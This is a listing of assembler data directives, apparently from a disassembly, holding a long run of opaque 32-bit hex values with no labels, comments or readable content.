		dd 462A6005h, 0C860C252h, 0BDC551Eh, 0F045022Dh, 0FA198000h
		dd 96002AFEh, 0D498ACDBh, 0C7D88B75h, 0B0F40568h, 0EF6B518Ah
		dd 16899C00h, 5FB8209Dh, 28090E8Dh, 5100173Ch, 0A194868Ah
		dd 0D4E85839h, 3005CF0h, 0AC20A36Fh, 214A66h, 60935B50h
		dd 979B33DBh, 980A8B00h, 173F91F5h, 29AC0009h, 511C3458h
		dd 86055C89h, 0B208AA6Fh, 0C57AA420h, 0CED8A872h, 6AEB30E2h
		dd 1A8C6E18h, 0EF90C0A0h, 55530A03h, 0DE482EC5h, 390B0EA8h
		dd 56010147h, 716CB24Ah, 0E8C8060Ch, 83DCD00Bh,	10288D65h
		dd 0C3131885h, 8158D7CFh, 81148C5Fh, 11BBA261h,	5C2019D9h
		dd 0B2090903h, 280061F9h, 0AFEC33D2h, 0D8DF6801h, 21FDD4F4h
		dd 3085EFCh, 0D342C3B6h, 0D9C09F26h, 6E1D7C1Ch,	0EA807269h
		dd 9345FDFh, 0E9E20071h, 0FA686D9Eh, 5C333162h,	0AAA15093h
		dd 5CB4155h, 0A9DC1487h, 389D3661h, 3085E450h, 0EA08E103h
		dd 98F46005h, 0C9A113h,	0BED4D6BAh, 0A550689Fh,	80C0EDEAh
		dd 0BF116F1Dh, 0E5E0F980h, 18C06902h, 0BCD66180h, 0DF37E99Dh
		dd 0BBC0C01Bh, 3A2FDB3Ah, 0E73C8B30h, 7A86A403h, 57CF2C62h
		dd 881CC019h, 0E1D09CF4h, 0AD47019Ch, 81D655D1h, 39BF99Fh
		dd 0E6CE6EBEh, 180D1822h, 81EFE9DDh, 38069E69h,	7B031727h
		dd 0F3821BA0h, 0D1F1B8A4h, 0B0BAD9A9h, 0CCB98CA1h, 21C60FDAh
		dd 6A457042h, 0EF600CD1h, 191C5A90h, 20D869F1h,	38DAD0h
		dd 0B22AE0D5h, 1BB0E7F4h, 250828C5h, 451D600Eh,	704163DEh
		dd 4780D640h, 0A669C841h, 0BB09E0h, 0B7CD2808h,	26DC5C23h
		dd 564801FCh, 0F39F01DFh, 41378B21h, 806AF2E3h,	8E72A3FBh
		dd 4BACA8B0h, 0A0980E4Fh, 38B90C66h, 0E4CE208Bh, 885A0B29h
		dd 5F389200h, 689B7E51h, 0D88091h, 81F4630Ah, 0B9246E40h
		dd 654024FFh, 3C8B1AFEh, 0F08C59C9h, 5E48DE72h,	0D2824B12h
		dd 7834104Eh, 28663F61h, 39845D4h, 616AFFF5h, 6800F28Fh
		dd 672C5412h, 904BF45Fh, 0E1050160h, 0B7C7076Ch, 1CFE0DFh
		dd 4913D8E9h, 57AD20C0h, 0F216BA0Fh, 82190572h,	1FC0CCE7h
		dd 0F98F0FE4h, 0D8A0879Dh, 1290BA96h, 0AC4C0852h, 956E5581h
		dd 58249C09h, 4D0CA9A8h, 942A6423h, 4429740Ch, 7388F09Dh
		dd 8665008Fh, 0D06067AAh, 630C1A08h, 0A8449B07h, 48172887h
		dd 0D63F05FCh, 0EBD2DCh, 3138CD80h, 1C804AD8h, 0A97214F1h
		dd 0B401A019h, 24E2DB06h, 0EC188825h, 0BA9B421Dh, 0E784888Fh
		dd 82289024h, 60FC84B3h, 130B380Ah, 5407F025h, 1E9D9D6h
		dd 62D8A100h, 58EDFC50h, 6040F3ACh, 0EF0C7E7h, 778267A7h
		dd 0D5C62455h, 0A8801964h, 20987C24h, 0AC2950EEh, 0D60190B5h
		dd 67A14531h, 333098F2h, 5256043Ah, 864F82h, 316A8170h
		dd 80B553ECh, 0F91AEB08h, 0E4F22A80h, 135C1B27h, 40770764h
		dd 0D651A96Ch, 4490DE6Fh, 3E38EEF8h, 4897B15Eh,	1FCB75Dh
		dd 2688C040h, 0D0E70525h, 8806F092h, 7DCC0B31h,	24843DC0h
		dd 0B9531C09h, 0B09CBC00h, 12ADA06h, 0B3283CE5h, 79DDC4BDh
		dd 2284FFD1h, 3C9D318Dh, 0BF43B018h, 82721C11h,	1121C72Fh
		dd 0FD784DCAh, 0A6A30C49h, 0AF16213Ch, 0C13B4988h, 99C0B78h
		dd 554AC4DFh, 0E5E609E0h, 6EDDC05h, 0A97C9C18h,	2D89906h
		dd 0FE201E50h, 0D6B40A0Eh, 42303A91h, 302C169Ch, 881AE2E2h
		dd 6F3B0203h, 19448B1h,	0F00408D9h, 604C1FD6h, 2389434Ah
		dd 166C88CDh, 9C46AA6Eh, 1AE5C3C1h, 10855E08h, 0FC57C43Ch
		dd 0CA75261h, 46D8AE25h, 3C94291Ch, 0D8CD1B8Ah,	5D40D880h
		dd 0EE26D29Fh, 0E7D51265h, 39B4029Dh, 304ED00Bh, 1E53AB10h
		dd 6158568Ah, 8DEFB03h,	1094AE93h, 88E98DFAh, 1B04EE7Dh
		dd 7FFC219Dh, 0CFD5318h, 0BD0484EAh, 0C0053EA4h, 0D7F66C87h
		dd 0A6659031h, 54D65384h, 0DFB8BB08h, 0E920AF44h, 8247CE6h
		dd 18A0E48Ah, 0C4321329h, 0BEC42B91h, 997532BFh, 0E831886Ch
		dd 7A446C07h, 6024609Fh, 7904C278h, 9102A3Eh, 7A5C2B18h
		dd 0AA2B049Ch, 0B88A2220h, 0A84B4F84h, 43E6E36Ch, 8FFE10EBh
		dd 10E28DC8h, 0ECD89936h, 43073C4Ch, 88BA23ADh,	0A86E43FBh
		dd 62AAC4E1h, 487039BDh, 0BD50FB78h, 79C486F4h,	8E324AD3h
		dd 86428338h, 6E4FF52h,	0FB7CE894h, 0E4FC8311h,	4A552C81h
		dd 229C308Bh, 0FE60A48Dh, 0FA084E19h, 43E5E1Ah,	0EE448211h
		dd 90D8C69Ah, 0C0266928h, 6208AA8Ah, 9CB078A0h,	1A42E19Fh
		dd 10BE9623h, 0EF89DC68h, 36CAB039h, 3CE91144h,	8081C082h
		dd 0D85CF011h, 19B8213Bh, 5BC64611h, 0E12E7965h, 6711B468h
		dd 0F11E0B75h, 74020681h, 0E8C4B863h, 0B1D9A20h, 3758077Eh
		dd 7A874401h, 52C07077h, 0A3A0D617h, 0A5FACC23h, 0FE31DCD1h
		dd 1B14F028h, 99CA24F6h, 842002D6h, 2485BCB6h, 0E5DC4397h
		dd 9940EE0Bh, 49DA5390h, 6582460h, 7BD83749h, 832C28B0h
		dd 5F0BF454h, 21009052h, 7F048740h, 9A4B57B9h, 70923093h
		dd 0D290A88Dh, 5F00D050h, 19F3501Ch, 0E7C20BF9h, 0AA1E9448h
		dd 3B9414B0h, 0E0E2893Dh, 62016B46h, 7C749D10h,	5785361Ch
		dd 87F06190h, 60144A50h, 43242CE4h, 6A0238DCh, 8796A369h
		dd 0AB09CB0h, 0C0AEAC53h, 0A68405C9h, 6204831Eh, 61C29A16h
		dd 1351F4A0h, 29C6B0Eh,	0EA1DE5D4h, 0E474A890h,	22A46953h
		dd 3F640972h, 94003315h, 7908E629h, 29C03490h, 2C64F95Eh
		dd 1F5900ABh, 3FD16E8Bh, 1C94ECF6h, 0BFC35406h,	145F07E1h
		dd 10E9C8DCh, 1CE44C02h, 8B63A422h, 0B12CCB68h,	51BB19B2h
		dd 0CEBA991h, 0C16A5970h, 3C1C5063h, 5F1A0072h,	27E255A6h
		dd 79787A81h, 0E320CE18h, 4B9E5311h, 0E7F44085h, 689FD4A0h
		dd 0E1825612h, 2BC700C4h, 50A7F8F2h, 5469F290h,	0A5CE098h
		dd 0E60A8B9Dh, 0B5F40E8h, 30A99863h, 170510AAh,	9C8288A3h
		dd 69188E63h, 0E0B14724h, 7D9C924h, 0B0D2C815h,	55198435h
		dd 4D2D48A0h, 0A08A444h, 6FB7CCADh, 0E72782C8h,	0E40A8540h
		dd 59010C20h, 0C6AF60FDh, 0A0B49AF9h, 0E6908242h, 2C4CE040h
		dd 811857F1h, 0EACF616Eh, 70AEB4AEh, 51E16800h,	0A16E2B6Dh
		dd 82D867A8h, 0A5CC4899h, 40408A4Ah, 0DC98E24Ch, 3B7C40Bh
		dd 551480F1h, 549B5912h, 651414BEh, 58DCB0C3h, 6B60C814h
		dd 821338B0h, 480FE59h,	18DA130Ah, 40568131h, 8EFE6B5Ch
		dd 62901B6Eh, 0FB6EF08h, 85ACD7C2h, 5858ECCAh, 8AB90204h
		dd 0A88709A5h, 55F90150h, 0F0F72506h, 253BEC81h, 6A40824Bh
		dd 0AB87659h, 416B162Ch, 46773A70h, 81686421h, 0ECA8187Dh
		dd 0DB12F5F8h, 5442BFD6h, 204D7459h, 0AB7E52CCh, 346991C7h
		dd 5240512Ch, 310FA86Eh, 3E66128h, 3F0610BCh, 1B719CCAh
		dd 3DDB7AC1h, 6D135666h, 33A080EEh, 48DF1E59h, 0B1F0635Ch
		dd 1210CEA1h, 4A538265h, 0BF2C6BCCh, 1E05C993h,	7C42A2Ch
		dd 0CFDD441Fh, 0C65827E6h, 293519B8h, 781E415Bh, 24888C68h
		dd 0C48C983h, 212976D8h, 0B0264825h, 0CC8DF80Ah, 2972F682h
		dd 12C7A25h, 4144202Ah,	498DE7F3h, 80903930h, 8382C219h
		dd 8508A880h, 6F02094Ch, 1C00C4E9h, 440BE25Ah, 0C648DC62h
		dd 1660785Dh, 20283E5Ch
		dd 0E9D565D0h, 1402D499h, 68E28212h, 0C469B3Ch,	79A5503Dh
		dd 0AD4C1DF9h, 52401A04h, 0E4E26111h, 1400D2F2h, 0C247CDCEh
		dd 59988318h, 0E10FC714h, 0B387DEF6h, 62BB6098h, 58EF7044h
		dd 8E834AAh, 274351C8h,	4669E22Dh, 9EA01838h, 3E4414A1h
		dd 83840893h, 0CC404F2h, 0F33D04F3h, 53DEF901h,	0E4ED6A19h
		dd 10487D46h, 388109F4h, 9B70604Ah, 0AF241662h,	1C2003C5h
		dd 590F195Bh, 0FF5434A1h, 1880F792h, 5A6E387h, 280C81F2h
		dd 0A9B01C1Fh, 9A400720h, 0B0C88464h, 0AB00E020h, 0D031754Dh
		dd 92FE020Eh, 0F8884EC4h, 0F029167Bh, 82E2D408h, 0CBA06061h
		dd 495F40E8h, 5AED79C3h, 68210119h, 6DA0A729h, 78383442h
		dd 4E40D0A8h, 35D6E1FBh, 0A69FE0DCh, 0B4AB58F0h, 0A3C79DC3h
		dd 110353F1h, 0FE9B505Ah, 92311E06h, 108114ECh,	14A73B1Eh
		dd 243E28CEh, 0B8C6A595h, 30726278h, 0DE2E5129h, 5516A704h
		dd 58A28703h, 0B094B80Fh, 927224D5h, 5C2B7490h,	74715981h
		dd 6A0E812h, 30521960h,	0EB6E3F09h, 0E714A199h,	96E06A71h
		dd 0AC593E1Fh, 14A591E0h, 0A80098A1h, 0ED36D11Ah, 15C0BC6h
		dd 777E5383h, 2824ECC0h, 1EF82204h, 12F0E1D6h, 9F204155h
		dd 2834ABB7h, 4F8A0590h, 0C0813AFCh, 8428E146h,	37098058h
		dd 50008BAAh, 49044DCBh, 54DCB604h, 189539D6h, 50EB580Eh
		dd 0E413097Bh, 0C8211002h, 6834D728h, 12007C8h,	0DA70400Ah
		dd 7CA36605h, 0DE1C8047h, 6E842258h, 0CD862F60h, 143CB0D1h
		dd 0B4297BC9h, 4334C80Ah, 4008C2FFh, 8C1A0CD6h,	88A0DFE8h
		dd 928331CFh, 96270440h, 986610B9h, 2060A20Dh, 9CDB6724h
		dd 68B1059Eh, 1506A69h,	0E7096BC8h, 0F43701A1h,	3051024h
		dd 0C649022h, 0F800558Bh, 0AA5C66F5h, 38DBC451h, 102DD6B4h
		dd 0A19FD002h, 1084E213h, 5E409D9Eh, 0DE13347Fh, 24851208h
		dd 0A5C08028h, 0B8B638B9h, 6765348Bh, 67750248h, 0FCE05D1Ah
		dd 408843A5h, 5F10C405h, 84544952h, 195E8F74h, 434620AEh
		dd 20186008h, 289961DCh, 9C120764h, 922B72DEh, 0E841D211h
		dd 0D47205h, 5BC2A016h,	249FFEDCh, 0B074B80Bh, 0F8776939h
		dd 0CD72F114h, 8092000Ch, 0C29E5950h, 0A3822D66h, 39E40080h
		dd 8AF85D22h, 10E84548h, 871804D5h, 0F1DEF9E1h,	0B09886E8h
		dd 389D9031h, 29807F82h, 4DCF225Eh, 410AAD92h, 5CD2D161h
		dd 0B0EE207h, 9A4C2329h, 4785CFA6h, 0D800807h, 0DC97D684h
		dd 1010BA86h, 1E1B56B7h, 830CE472h, 0CC7921A5h,	0F5412910h
		dd 6313960Fh, 52B645A9h, 0F0EE3C92h, 0A77D8h, 0D2CE4059h
		dd 0E7F69B6Ah, 6A07250h, 1C4A62EAh, 0E40E441h, 6900BDCBh
		dd 9F0739E3h, 0DE509D26h, 0C355D461h, 977E6462h, 0B154D578h
		dd 0A1A0C8A0h, 4E012687h, 0F42EBCEh, 0DC64A4C1h, 2A9702B4h
		dd 6EDFB186h, 80004851h, 5F245418h, 0A8B0CDBh, 89837FCh
		dd 485264AAh, 53A40501h, 70DEF3EBh, 4088C8AEh, 0B4093DCh
		dd 0A03AE145h, 150A0EA4h, 0E005D49Ah, 68114185h, 9430782Dh
		dd 20242F7Ah, 48227827h, 9F537582h, 0BB08841Ah,	0B891B409h
		dd 0AD01E2E5h, 10382FD6h, 0C8125Ah, 6F55E350h, 1B481FE2h
		dd 0A01C2560h, 6192E974h, 0DEC04481h, 0F9DD800Eh, 833C64BCh
		dd 0BAA5F890h, 0AC074867h, 3708AC49h, 342C790Dh, 0DC561101h
		dd 29039F26h, 9FD87946h, 4D008010h, 614B6509h, 0DD30CEF3h
		dd 0DCEB30A1h, 17410325h, 0C678AA0h, 0ED1C1FB1h, 9EAC2C63h
		dd 8554D702h, 40405468h, 9455DDA1h, 1602130Ch, 288211DEh
		dd 7C38F4B5h, 0CB690B0Bh, 2C919F51h, 631C43A0h,	87389CF0h
		dd 50731E24h, 0A8D7293Ah, 28A1371Fh, 9D38154Ch,	0E7A08C10h
		dd 9E29D89Ah, 8288E8ABh, 0ED79C253h, 202D9B19h,	61502724h
		dd 256F5F64h, 0ABFAE044h, 0A4CEDF12h, 0AF5D440h, 4A5147B6h
		dd 751CC8DCh, 0D9823B37h, 805E3545h, 3A513024h,	7EA50EEEh
		dd 6448B0B5h, 845EAF4Bh, 0FCC7A10Fh, 0ECD90B00h, 28CAC187h
		dd 49B01F42h, 0BA849C19h, 83C47BF3h, 298490A9h,	3C3E2DE6h
		dd 4999006Ch, 0C0BE5F51h, 8A190039h, 7CD321C7h,	0EE00B4CCh
		dd 0BC504A03h, 603BB1C5h, 0CD1105Fh, 1A0D5AB9h,	4022A2D4h
		dd 1E17F7F0h, 4988372h,	0C09705EAh, 4647682Bh, 82A6E907h
		dd 49C06948h, 77733Bh, 6E074C21h, 41D539C1h, 0F484B6Fh
		dd 24E900BFh, 749AEh, 50FE903Dh, 6731CEBDh, 0E8B1B300h
		dd 0EAB09D64h, 1F22F01Bh, 2775DC7h, 4A047339h, 5AB0AB01h
		dd 4180C180h, 54AE4ECDh, 4F0E8600h, 8A705FCFh, 0B68507A5h
		dd 309E3946h, 0E331576Ah, 0E14E8800h, 80D5DE52h, 6D5E07FBh
		dd 8EEC1418h, 9506FD8Fh, 63231136h, 201B18FCh, 0C3803DDDh
		dd 1E1D797Eh, 0E59C6FEh, 6A036A9h, 67FCC4EAh, 283AFA30h
		dd 0E01809A7h, 0C0A7F98h, 261BCBF8h, 0E2180730h, 0D46197C2h
		dd 0A44B1C32h, 26306037h, 17A9083Ch, 60EA63CFh,	87CDDA3h
		dd 3B23C119h, 2D134829h, 707A4481h, 2303EA5Fh, 0B0F3BCA4h
		dd 77210049h, 3D839C46h, 57005126h, 9760C47Bh, 0E4F5CB0Ah
		dd 0EB0900D1h, 6B805CA9h, 9301E744h, 0A1DCAED4h, 70802D91h
		dd 0A0224508h, 0E0DEFE38h, 0A219B0Fh, 0EE0F1020h, 1324011Fh
		dd 6ED01830h, 0C8C3009h, 0DB9EFA11h, 7F0033E2h,	114819A3h
		dd 0F031A01Ch, 370A441Bh, 501E3278h, 4A0F4916h,	0F49A6FB5h
		dd 48C078D8h, 6C2F43DEh, 8C9E0679h, 1803DAD3h, 1099481Eh
		dd 5F284618h, 17A78B7h,	0BE2E5B17h, 0D4951909h,	0D21874D1h
		dd 14827ECh, 3AC7005Fh,	0F95B1523h, 4203D8AFh, 12E59E2Eh
		dd 4963A896h, 6E04183Dh, 3FE918BEh, 0CE19078Eh,	20A834C2h
		dd 94930A2Fh, 416A601Fh, 0E8D77B06h, 1A8C2180h,	3830200h
		dd 0AE9981h, 71FDBB35h,	0A0A8480Dh, 83C1DE60h, 0EBF84C7h
		dd 0DF9858E1h, 12914900h, 1006FE18h, 4ACC2BDBh,	27810070h
		dd 9764B22Ah, 0C90014F4h, 48FE2C9Dh, 3007FC98h,	0AA789461h
		dd 1C0F72F2h, 0C017895Bh, 14EE1333h, 56C71862h,	4BDB40B3h
		dd 2A4F5B0Fh, 0F11E200Ah, 96CB63h, 0C63984CDh, 0A6900D7Eh
		dd 0F48548h, 8E95D64Dh,	6DFCFA3h, 8C0B1158h, 180080A8h
		dd 0A0E01238h, 54D519h,	0DA994BFDh, 261EB2D1h, 975F0201h
		dd 0CBE82CCDh, 2EB35883h, 180004C9h, 2C692B7h, 0C1BC052Dh
		dd 0B88F834Eh, 2E884063h, 9FF565CEh, 0D30090D8h, 6A3DC955h
		dd 477F0AD7h, 17A622DAh, 1FD30015h, 627485ABh, 5F4880D8h
		dd 0D6DF40DEh, 0F916AF20h, 0CCDD40E4h, 6AD84C18h, 0EC3F9700h
		dd 0F6ED1EDEh, 6F84A8CAh, 289188CEh, 4FCC7500h,	9479D7D6h
		dd 980A01E1h, 5ACBAD55h, 75FDD4E2h, 72747CA8h, 42496044h
		dd 75951FC9h, 0EC86421h, 84DFA88Bh, 193651Ch, 4820721Dh
		dd 885DC00Bh, 60119E14h, 0CB18F058h, 3512AF95h,	2400BA44h
		dd 2823ED48h, 12179016h, 0FFD5890h, 8229DFACh, 54B8218Ch
		dd 3B5A5012h, 45653C00h, 1EC5EEh, 9747E73Eh, 0E329FC2Ch
		dd 20915F29h, 3ACEDBC1h, 5D75DD0Ch, 87BD7400h, 0BFDF8561h
		dd 22F0C1DAh, 203A4D86h, 8B0EE1B8h, 2983F9BCh, 84500A4Bh
		dd 2081B609h, 25281898h, 0DFED00EFh, 0C70E04F9h, 0D26E6E9h
		dd 69D4029h, 5EB8EFC0h,	617F02ABh, 24251934h, 0F80AD401h
		dd 1F2E7003h, 8092773Bh, 5039BAC4h, 6A6C9848h, 3AC68D5h
		dd 491C77E1h, 0F1781003h, 0C85E6A55h, 69972438h, 44120807h
		dd 785655C0h, 9E41600h
		dd 0BE3FA7B2h, 8D1700F1h, 39E5F4Fh, 3534BAD3h, 6484E828h
		dd 78FA3404h, 6F55F030h, 36F45E10h, 5780E4C8h, 230D5618h
		dd 0D7B8015Eh, 0C67EE9C1h, 26F1CBAAh, 0FAF42091h, 0E2C47450h
		dd 9300CB0h, 1510712Fh,	0F93E3886h, 89FF3D06h, 1A4D084Ah
		dd 0D6D00CCh, 999449A5h, 692671E0h, 18024876h, 204023C3h
		dd 0E001CE8h, 0D8958017h, 0C110FDB7h, 2EB8BB20h, 75F4400Ah
		dd 0C872437Fh, 0E5FF53Ch, 0A03F1F24h, 0E71A3613h, 0B0A40399h
		dd 34018E5h, 281F82D8h,	9D620C03h, 0B06D7463h, 7BF5C3h
		dd 4C192AB3h, 42D15D6Fh, 7DD20801h, 0C03458FBh,	5720DCh
		dd 0D57487E3h, 61C2FDDAh, 13DEBC09h, 6D3A80BDh,	0E06B91h
		dd 0DF2BF9C3h, 294445D9h, 3750C500h, 7A80AB1Eh,	406B00EAh
		dd 0F946181Fh, 29C8365Fh, 59518015h, 0A04FCBFFh, 50DA6330h
		dd 0AD7A19h, 0A2886BE6h, 6898BE53h, 9701200h, 8BCACC42h
		dd 7B9700DDh, 0D2439A5Bh, 360301EBh, 5CC52EF2h,	0EC6D8878h
		dd 0DD17002Ch, 1FF39160h, 2A135FB7h, 0E90034DBh, 4AE5AB19h
		dd 1B5A0324h, 0BE9251F4h, 0B4D66BF8h, 8ED0E40Fh, 9A9F4081h
		dd 3BD8439h, 0F8AFCCA2h, 0BCF8BB60h, 0DA07F6D8h, 0A61E5668h
		dd 0BD1FD5F0h, 0ACFC07CBh, 819732h, 64D7B9D6h, 5F35A31Dh
		dd 0C36C9CC0h, 56B5BC4h, 0DF8A779Fh, 6EE580E4h,	0E700FE92h
		dd 0A953657Ah, 0F83E97F5h, 85EB01CAh, 5CFA4371h, 57B5E498h
		dd 0F8D8C800h, 0D7CD3883h, 0DE7B00F6h, 0A3AF6E85h, 8011AD5h
		dd 0C7ACBB40h, 8F6095B3h, 0C0A607D3h, 0D03A2880h, 43FE980Fh
		dd 6D45FB14h, 2EA824CDh, 4A6BF000h, 622A15h, 9D403C55h
		dd 5C5E3A54h, 3502B1EEh, 750DE2AAh, 8DD65DC2h, 673ACB0Eh
		dd 0DB707C15h, 1AD337h,	19A4F849h, 43FBDD1Bh, 36F5DE02h
		dd 4046DAE0h, 59D0A5h, 0D411EF4Eh, 0B79261C3h, 0EEFAF700h
		dd 6A5247EAh, 30840064h, 0DED2FD91h, 0B7070D0Bh, 0DA7C2C0Eh
		dd 0FB2E7470h, 1FBE00BCh, 33E84349h, 0CD00DF41h, 0A7EE6809h
		dd 64B4B7h, 0F19B5DCCh,	0FEB229BDh, 6CEC4250h, 0D3F8A377h
		dd 0A654CC00h, 90C71703h, 7B670070h, 26486528h,	713BFFD6h
		dd 2A5404D1h, 3490FEBBh, 50145A99h, 1406FAA8h, 0F0483A24h
		dd 0A0784300h, 72F8CCE2h, 7DF948h, 82BB901h, 7690C73h
		dd 6AB8538Ch, 70ED303Fh, 0F800ADF7h, 606279BFh,	252D3Bh
		dd 30C67D9Bh, 4C78F68Bh, 19C4D900h, 0DBB55876h,	440D00D6h
		dd 0ADD826FFh, 0DE037773h, 600E302Eh, 0DC8885Dh, 7DE306F6h
		dd 41922CC2h, 0D60C14FAh, 104DF417h, 51E006Fh, 5626447Dh
		dd 9F01DD24h, 7A5976DAh, 0F420A0FFh, 72B03A2h, 4E99D344h
		dd 0C8D4F0E8h, 0F3C69D00h, 21B31669h, 0CF4C005Fh, 591C258Eh
		dd 0B54815CEh, 7BAB4030h, 9F58BE38h, 1287EE26h,	0C2804967h
		dd 0EC18C23h, 62324366h, 0F36612Eh, 85A0D2B9h, 94AED8FBh
		dd 0EC3E0B03h, 0E813DA52h, 6D6B83h, 616EAA34h, 9BD958DDh
		dd 3F7F0198h, 29E83E79h, 80ED887Ch, 0DEC1312Eh,	13D6011Bh
		dd 36236FAh, 0F9522B5Ch, 0B8608CD2h, 753AEE77h,	0C80500EDh
		dd 6390CF36h, 547F03C4h, 8D87D6Bh, 2066C799h, 640070F4h
		dd 1FF91C30h, 28F7D5EBh, 2094C583h, 0DD002ACDh,	6D64A35Eh
		dd 3DD6FCh, 24C8D5C6h, 0E5CD6E26h, 0BA74C70Ah, 0EA0E984Fh
		dd 1563E77Bh, 69E886E0h, 0FBD41F82h, 4776C05Bh,	0EEEA34ADh
		dd 1CC5600Fh, 71AA0094h, 0F6653B4h, 8F1B2BBFh, 0DD5C83A0h
		dd 2F2469F5h, 0F11C6C4Ah, 0DB39AA80h, 139C0AF7h, 23C9D2h
		dd 90C2EBF0h, 0D4FD880Fh, 9B0E96C3h, 616E9DC7h,	73EA9F30h
		dd 8310A02Bh, 55AB3E02h, 0F58B648Eh, 1D2D5AC0h,	7021D301h
		dd 6D04379Ch, 0DC20DFE9h, 8B130066h, 0E9CB8246h, 0F0FD1DCh
		dd 60153BACh, 9E3EC08h,	0C09C3D59h, 4834BE80h, 92C66F12h
		dd 4F0D1900h, 0F8D7504Dh, 0C2350525h, 0C08E540Ah, 0CFA9CC74h
		dd 1A0058B8h, 551EE94Bh, 21D4AF8h, 12DC330Ah, 9C40C0D0h
		dd 0E7FF583h, 74156C00h, 0B4CA1C99h, 6F7494h, 81BECF40h
		dd 0A1CE0AB9h, 7EE0FD03h, 0B0E5E841h, 9D7CD7h, 53F63C36h
		dd 4FB4385Fh, 0BEFFAD00h, 8C7E616Ch, 1FC30037h,	298248DBh
		dd 523992A1h, 77BD02F5h, 0E001D062h, 480E751Eh,	0A400149Ah
		dd 0C98714A7h, 0CA0393F4h, 1990ADCh, 0AB9FFCh, 3466DB6Fh
		dd 48EB001Dh, 0C3DEBE03h, 53003345h, 907C1F3Fh,	5D15E3h
		dd 64F11430h, 994C0D61h, 3580B500h, 9DF2327Fh, 0D5B3000Bh
		dd 3D8D7D22h, 303CEF20h, 0CD49006Dh, 8AF31BEh, 0C9E2006Eh
		dd 0AB7D4518h, 693CDA5Fh, 0D69C808Eh, 8C4AE64Fh, 0CEFE0FD8h
		dd 0A440E580h, 8919C779h, 3CA23500h, 8B177182h,	0EE3F01B5h
		dd 0AC934EFCh, 0DE103486h, 23478E00h, 0D1A75EDCh, 0E7B0A2h
		dd 0C57CE316h, 0D522E4BAh, 9290CA07h, 0F7A0EC4Ah, 38D87B19h
		dd 819F74B0h, 14068053h, 0F3635A86h, 88A895E6h,	343A5BE0h
		dd 5F9C0464h, 0B0C747D5h, 0D944C8C1h, 69800BD3h, 9D0027D6h
		dd 3BCD25A1h, 47F85AB0h, 2476A978h, 332670F9h, 49AFA0Fh
		dd 0F2C8E039h, 7C1A8B20h, 84D4007Ah, 58C09D79h,	9E51FDFCh
		dd 4FC4ECD1h, 0CD3B44F4h, 60875CECh, 24268159h,	467F03DAh
		dd 1CB2E72Ah, 5C4CB03Ch, 44D000C5h, 4018067h, 3D1D00E9h
		dd 0D7C7C2C9h, 47E2E103h, 0A3611501h, 736B8613h, 4814B880h
		dd 0DAF2C7C0h, 0D3B5D9C0h, 323E47h, 4145EE7Fh, 7037513Dh
		dd 1E748C3Dh, 7D4042A8h, 65609233h, 80E0002Bh, 0A525669Ch
		dd 62001128h, 696B2D7Ch, 78179AEh, 0A85C1E8Dh, 900B50F3h
		dd 542ED634h, 2D034BABh, 0E18BF9B1h, 0B2F5F602h, 63E4C02Bh
		dd 140339CCh, 6EF04D1Ch, 0A02D9B66h, 62AE2Fh, 403E3A0Fh
		dd 0ADD1E60Eh, 0BA00267Eh, 22E75B84h, 0EF06C7h,	0B14B8E38h
		dd 15C512DBh, 0CAE9E600h, 0E48CB00Eh, 2C110740h, 19949C9Eh
		dd 0CE75AD80h, 46002737h, 7B71CC31h, 7DABBD6h, 640C3F4h
		dd 849F9044h, 0BD60476Ah, 1AE6AA18h, 0B5F20BF3h, 2D03F650h
		dd 38A64A18h, 6A7EB600h, 76FDF325h, 4DFA00E4h, 0B0126B3Ch
		dd 417C724Ah, 0A8170E00h, 0DD83B5F0h, 1E387833h, 3A00305h
		dd 7B5A1589h, 2B362488h, 0FF584C60h, 7058C768h,	0EAA60099h
		dd 6CFEA118h, 740CDDC2h, 28E516F4h, 32B90F09h, 7E81D0BEh
		dd 0BADB93A4h, 1C354C99h, 683098A7h, 727E8Fh, 0BCFD057Ah
		dd 8AAE93CAh, 20A07660h, 18364C68h, 40F5E434h, 0DD60691Ch
		dd 6D568F71h, 0BEF702B5h, 0AFBAB955h, 8236B800h, 1E047E86h
		dd 0AAA7C54h, 794BD73h,	0A0A3DC18h, 69804264h, 234BC218h
		dd 84083090h, 0DDE65C10h, 24B68A9Dh, 1D2203A4h,	0C8180570h
		dd 0B9503FCBh, 749C53FAh, 380830C4h, 0C350E95h,	0B90BCE17h
		dd 0A2EF5580h, 6F079A98h, 15AB838Ah, 0D82393B3h, 1D64FBE5h
		dd 79F9CA34h, 35732D00h, 4E323B54h, 2CD3410Eh, 81B42026h
		dd 61F8C05h, 8FE3234Dh,	0A18487Fh, 1A5099D4h, 18650064h
		dd 8CF1AAE7h, 61077022h, 2E971D5Bh, 0CFE441CEh,	0B4DC32EFh
		dd 3D6A39DBh, 7DB15301h, 81A915E8h, 0E4234199h,	96D0EFF9h
		dd 935C0674h, 218B6D62h, 0F73B271Ch, 0C1EB6801h, 33C0E805h
		dd 2F7F0Ah, 0BB117A9Ch,	0BDA7E75Ah, 0EF927007h,	0EC37E8AAh
		dd 59404Ch, 343B5A4Bh, 0FD19104Eh, 64D88A06h, 620A46Fh
		dd 667F43EFh, 5A00D8E1h, 46BCE87Eh, 0A36BD1h, 6A9FB772h
		dd 0E1CCE083h, 869BC739h
		dd 69FC399Dh, 0C66D0141h, 321D6754h, 257AD8D6h,	6B0CFCFCh
		dd 58D270AEh, 0EE534886h, 2EFF400h, 0CE96948Ch,	56FF8D07h
		dd 52718819h, 0F8D8A658h, 942500ACh, 29229F66h,	98156FF7h
		dd 78889C8Ah, 0D333D500h, 74191F0Ch, 67DF00DDh,	5586A13Ch
		dd 260A1815h, 0B679BF02h, 0B26BE40Fh, 0CBC9DA00h, 0F85FE839h
		dd 0A84E0027h, 0FC028556h, 0B202BC7Ch, 29766745h, 0A488C01Fh
		dd 0FADF41Ch, 6A5FA01Bh, 17A19E40h, 560087FDh, 0F3EBDA75h
		dd 1EC7981Dh, 0BBF16ADh, 548A8A7Bh, 0D4A50023h,	58EE9B18h
		dd 0DD714E00h, 0B0A3DE88h, 53CD2599h, 603EE78h,	0D91012ADh
		dd 4F2188AEh, 0C6810BB5h, 2303700Eh, 24B8962Bh,	9007C02h
		dd 5EF7EABAh, 0FAA1Dh, 9ADD501Ch, 0E6C83280h, 0B4AB1000h
		dd 0E97D480Ah, 0AD121DF7h, 470C4138h, 0CC800DE4h, 0ED00AB9Ah
		dd 93A00A30h, 32BA1E2h,	0F442B6BEh, 64A8410Bh, 17001C9Dh
		dd 1DC0A0E1h, 0A6C144h,	356829B7h, 1A789B5Fh, 3F0861C0h
